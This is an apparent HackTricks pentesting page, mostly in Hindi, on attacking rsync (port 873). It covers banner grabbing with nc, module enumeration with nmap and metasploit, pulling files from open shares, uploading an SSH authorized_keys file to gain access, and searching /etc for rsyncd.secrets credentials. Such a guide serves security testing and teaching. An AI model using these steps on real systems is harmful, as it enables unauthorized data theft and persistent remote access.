# 873 - Pentesting Rsync {{#include ../banners/hacktricks-training.md}} ## **बुनियादी जानकारी** From [wikipedia](https://en.wikipedia.org/wiki/Rsync): > **rsync** एक उपयोगिता है जो कुशलता से [transferring](https://en.wikipedia.org/wiki/File_transfer) और [synchronizing](https://en.wikipedia.org/wiki/File_synchronization) [files](https://en.wikipedia.org/wiki/Computer_file) को एक कंप्यूटर और एक बाहरी हार्ड ड्राइव के बीच और [networked](https://en.wikipedia.org/wiki/Computer_network) [computers](https://en.wikipedia.org/wiki/Computer) के बीच फ़ाइलों के [modification times]() और आकारों की तुलना करके करती है।[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) यह आमतौर पर [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating_system) पर पाई जाती है। rsync एल्गोरिदम एक प्रकार का [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding) है, और इसका उपयोग नेटवर्क उपयोग को कम करने के लिए किया जाता है। [Zlib](https://en.wikipedia.org/wiki/Zlib) अतिरिक्त [data compression](https://en.wikipedia.org/wiki/Data_compression) के लिए उपयोग किया जा सकता है,[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) और [SSH](https://en.wikipedia.org/wiki/Secure_Shell) या [stunnel](https://en.wikipedia.org/wiki/Stunnel) सुरक्षा के लिए उपयोग किया जा सकता है। **डिफ़ॉल्ट पोर्ट:** 873 ``` PORT STATE SERVICE REASON 873/tcp open rsync syn-ack ``` ## Enumeration ### Banner & Manual communication ```bash nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 <--- You receive this banner with the version from the server @RSYNCD: 31.0 <--- Then you send the same info #list <--- Then you ask the sever to list raidroot <--- The server starts enumerating USBCopy NAS_Public _NAS_Recycle_TOSRAID <--- Enumeration finished @RSYNCD: EXIT <--- Sever closes the connection #Now lets try to enumerate "raidroot" nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 @RSYNCD: 31.0 raidroot @RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password ``` ### **साझा फ़ोल्डरों की गणना करना** **Rsync मॉड्यूल** को **निर्देशिका साझा** के रूप में पहचाना जाता है जो **पासवर्ड से सुरक्षित** हो सकते हैं। उपलब्ध मॉड्यूल की पहचान करने और यह जांचने के लिए कि क्या उन्हें पासवर्ड की आवश्यकता है, निम्नलिखित कमांड का उपयोग किया जाता है: ```bash nmap -sV --script "rsync-list-modules" -p msf> use auxiliary/scanner/rsync/modules_list # Example with IPv6 and alternate port rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730 ``` ध्यान दें कि कुछ शेयर सूची में नहीं दिखाई दे सकते हैं, संभवतः उन्हें छिपा दिया गया है। इसके अतिरिक्त, कुछ शेयरों तक पहुँच विशेष **credentials** पर सीमित हो सकती है, जिसे **"Access Denied"** संदेश द्वारा दर्शाया गया है। ### [**Brute Force**](../generic-hacking/brute-force.md#rsync) ### मैनुअल Rsync उपयोग **module list** प्राप्त करने के बाद, क्रियाएँ इस पर निर्भर करती हैं कि क्या प्रमाणीकरण की आवश्यकता है। प्रमाणीकरण के बिना, एक साझा फ़ोल्डर से स्थानीय निर्देशिका में फ़ाइलों को **listing** और **copying** करना संभव है: ```bash # Listing a shared folder rsync -av --list-only rsync://192.168.0.123/shared_name # Copying files from a shared folder rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared ``` यह प्रक्रिया **पुनरावृत्त रूप से फ़ाइलों को स्थानांतरित करती है**, उनके गुण और अनुमतियों को बनाए रखते हुए। **क्रेडेंशियल्स** के साथ, एक साझा फ़ोल्डर से सूचीबद्ध करना और डाउनलोड करना निम्नलिखित तरीके से किया जा सकता है, जहाँ एक पासवर्ड प्रॉम्प्ट दिखाई देगा: ```bash rsync -av --list-only rsync://username@192.168.0.123/shared_name rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared ``` कंटेंट **अपलोड** करने के लिए, जैसे कि _**authorized_keys**_ फ़ाइल तक पहुँच के लिए, उपयोग करें: ```bash rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh ``` ## POST rsyncd कॉन्फ़िगरेशन फ़ाइल को खोजने के लिए, निष्पादित करें: ```bash find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \) ``` इस फ़ाइल में, एक _secrets file_ पैरामीटर एक फ़ाइल की ओर इशारा कर सकता है जिसमें **उपयोगकर्ता नाम और पासवर्ड** rsyncd प्रमाणीकरण के लिए होते हैं। ## संदर्भ - [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html) {{#include ../banners/hacktricks-training.md}}